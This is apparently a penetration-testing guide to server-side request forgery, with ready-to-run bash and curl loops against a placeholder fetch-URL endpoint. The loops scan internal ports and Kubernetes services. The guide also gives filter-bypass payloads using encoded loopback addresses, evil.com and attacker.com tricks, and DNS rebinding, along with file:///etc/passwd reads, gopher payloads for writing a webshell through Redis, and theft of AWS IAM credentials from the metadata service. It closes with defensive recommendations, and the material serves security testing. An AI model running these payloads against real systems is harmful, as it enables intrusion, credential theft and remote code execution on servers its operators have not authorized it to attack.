Identifying and exploiting SSRF vulnerabilities to access internal services, cloud metadata, and restricted network resources during authorized penetration tests.
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Identifying and exploiting SSRF vulnerabilities to access internal services, cloud metadata, and restricted network resources during authorized penetration tests.
Use the SSRF vulnerability to discover internal services and ports.
# Internal network scanning - common private rangesfor ip in 127.0.0.1 10.0.0.1 172.16.0.1 192.168.1.1; dofor port in 22 80 443 3000 3306 5432 6379 8080 8443 9200 27017; doecho -n "$ip:$port -> "
response=$(curl -s --max-time 3 -X POST \
-H "Content-Type: application/json" \
-d "{\"url\":\"http://$ip:$port/\"}" \
"https://target.example.com/api/fetch-url")
echo"$response" | head -c 100
echodonedone# Kubernetes internal servicesfor svc in kubernetes.default.svc \
kubernetes-dashboard.kubernetes-dashboard.svc \
kube-dns.kube-system.svc; do
curl -s --max-time 3 -X POST \
-H "Content-Type: application/json" \
-d "{\"url\":\"http://$svc/\"}" \
"https://target.example.com/api/fetch-url"done# Access internal admin panelsfor path in /admin /console /actuator/env /server-status /_cat/indices; do
curl -s -X POST \
-H "Content-Type: application/json" \
-d "{\"url\":\"http://127.0.0.1:8080$path\"}" \
"https://target.example.com/api/fetch-url"done
Step 4: Bypass SSRF Filters and Allowlists
When basic payloads are blocked, use bypass techniques.
# IP address encoding bypasses for 127.0.0.1
PAYLOADS=(
"http://127.0.0.1/""http://0177.0.0.1/"# Octal"http://0x7f.0.0.1/"# Hex"http://2130706433/"# Decimal"http://127.1/"# Short form"http://0/"# Zero"http://[::1]/"# IPv6 loopback"http://0.0.0.0/"# All interfaces"http://localtest.me/"# DNS resolves to 127.0.0.1"http://spoofed.burpcollaborator.net/"# DNS rebinding"http://127.0.0.1.nip.io/"# Wildcard DNS
)
for payload in"${PAYLOADS[@]}"; doecho -n "$payload -> "
curl -s -o /dev/null -w "%{http_code}" --max-time 3 \
-X POST -H "Content-Type: application/json" \
-d "{\"url\":\"$payload\"}" \
"https://target.example.com/api/fetch-url"echodone# URL parsing bypass# Embed credentials: http://expected.com@evil.com/# Fragment: http://evil.com#expected.com# URL encoding: http://127.0.0.%31/# Redirect chain: http://attacker.com/redirect?url=http://127.0.0.1# Protocol bypass
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"file:///etc/passwd"}' \
"https://target.example.com/api/fetch-url"
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"gopher://127.0.0.1:6379/_SET%20ssrf%20test"}' \
"https://target.example.com/api/fetch-url"
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"dict://127.0.0.1:6379/info"}' \
"https://target.example.com/api/fetch-url"
Step 5: Exploit SSRF for Impact Escalation
Chain SSRF with internal services for maximum impact.
# Access Redis via gopher protocol# Craft gopher payload to set a webshell via Redis# gopher://127.0.0.1:6379/_CONFIG SET dir /var/www/html# This is for authorized testing only# Access Elasticsearch
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:9200/_cat/indices?v"}' \
"https://target.example.com/api/fetch-url"# Read data from Elasticsearch
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:9200/users/_search?size=10"}' \
"https://target.example.com/api/fetch-url"# Access internal Jenkins
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:8080/script"}' \
"https://target.example.com/api/fetch-url"# AWS: Retrieve temporary credentials from IAM role
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"}' \
"https://target.example.com/api/fetch-url"# Returns: AccessKeyId, SecretAccessKey, Token
Step 6: Test Blind SSRF and DNS Rebinding
For cases where the response is not returned to the attacker.
# Blind SSRF detection using time-based analysis# Compare response times for accessible vs inaccessible portstime curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:22/"}' \
"https://target.example.com/api/fetch-url"time curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:12345/"}' \
"https://target.example.com/api/fetch-url"# DNS rebinding attack# 1. Set up a DNS server that alternates between:# - First query: returns attacker IP (passes allowlist)# - Second query: returns 127.0.0.1 (targets internal service)# 2. Use a rebinding service like rbndr.us
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://7f000001.c0a80001.rbndr.us/"}' \
"https://target.example.com/api/fetch-url"# rbndr.us alternates DNS responses between the two encoded IPs
Key Concepts
Concept
Description
SSRF
Server-Side Request Forgery - making the server send requests to unintended destinations
Blind SSRF
SSRF where the response is not returned to the attacker, requiring OOB detection
Cloud Metadata
Instance metadata services (169.254.169.254) exposing credentials and configuration
Gopher Protocol
Protocol allowing raw TCP data transmission, enabling attacks on internal services
DNS Rebinding
DNS attack that switches IP resolution to bypass SSRF hostname allowlists
TOCTOU
Time-of-check to time-of-use race condition in URL validation
IMDSv2
AWS metadata service v2 requiring session tokens, mitigating basic SSRF
Open Redirect Chain
Using an open redirect to bypass URL allowlists in SSRF filters
Tools & Systems
Tool
Purpose
Burp Suite Professional
Request modification and Collaborator for blind SSRF detection
SSRFmap
Automated SSRF exploitation framework with protocol support
interactsh
Out-of-band interaction detection for blind SSRF
Gopherus
Generates gopher payloads for exploiting internal services
rbndr.us
DNS rebinding service for SSRF filter bypass
singularity
DNS rebinding attack framework for automated exploitation
Common Scenarios
Scenario 1: Webhook URL SSRF to AWS Credentials
A webhook configuration endpoint allows specifying a callback URL. Pointing it to http://169.254.169.254/latest/meta-data/iam/security-credentials/ returns temporary AWS IAM credentials that can be used to access S3 buckets and other AWS services.
Scenario 2: PDF Generator SSRF
A feature that generates PDFs from URLs makes server-side requests. Providing http://127.0.0.1:8080/admin as the URL generates a PDF containing the internal admin panel content.
Scenario 3: Image URL SSRF with Protocol Bypass
An avatar URL field is filtered for HTTP/HTTPS but accepts file:// protocol. Using file:///etc/passwd as the avatar URL causes the server to read local files and include content in the response.
Scenario 4: Blind SSRF to Internal Redis
A URL fetch feature does not return response content but confirms success/failure. Using gopher protocol payloads, an attacker writes data to an internal Redis instance, achieving remote code execution.
Output Format
## SSRF Vulnerability Finding
**Vulnerability**: Server-Side Request Forgery (Full SSRF)
**Severity**: Critical (CVSS 9.1)
**Location**: POST /api/webhooks - `callback_url` parameter
**OWASP Category**: A10:2021 - Server-Side Request Forgery
### Reproduction Steps
1. Send POST /api/webhooks with callback_url set to http://169.254.169.254/latest/meta-data/
2. Server makes request to AWS metadata endpoint
3. Response contains AWS instance metadata including IAM role name
4. Follow up with IAM credentials endpoint to retrieve temporary access keys
### Confirmed Access
| Target | Protocol | Response |
|--------|----------|----------|
| 169.254.169.254 (AWS metadata) | HTTP | IAM credentials retrieved |
| 127.0.0.1:6379 (Redis) | Gopher | Commands executed |
| 127.0.0.1:9200 (Elasticsearch) | HTTP | Index listing retrieved |
| 10.0.0.5:8080 (Internal API) | HTTP | Admin panel accessible |
### Impact
- AWS IAM temporary credentials exfiltrated (S3 read/write access)
- Internal Redis server accessible (potential RCE)
- Internal Elasticsearch data exposed (user records)
- Full internal network scanning capability
### Recommendation
1. Implement strict URL allowlisting (only allow known trusted domains)
2. Block requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16)
3. Upgrade to AWS IMDSv2 (requires session token header)
4. Disable unused URL protocols (gopher, file, dict, ftp)
5. Use a dedicated outbound proxy for server-side requests with DNS resolution controls
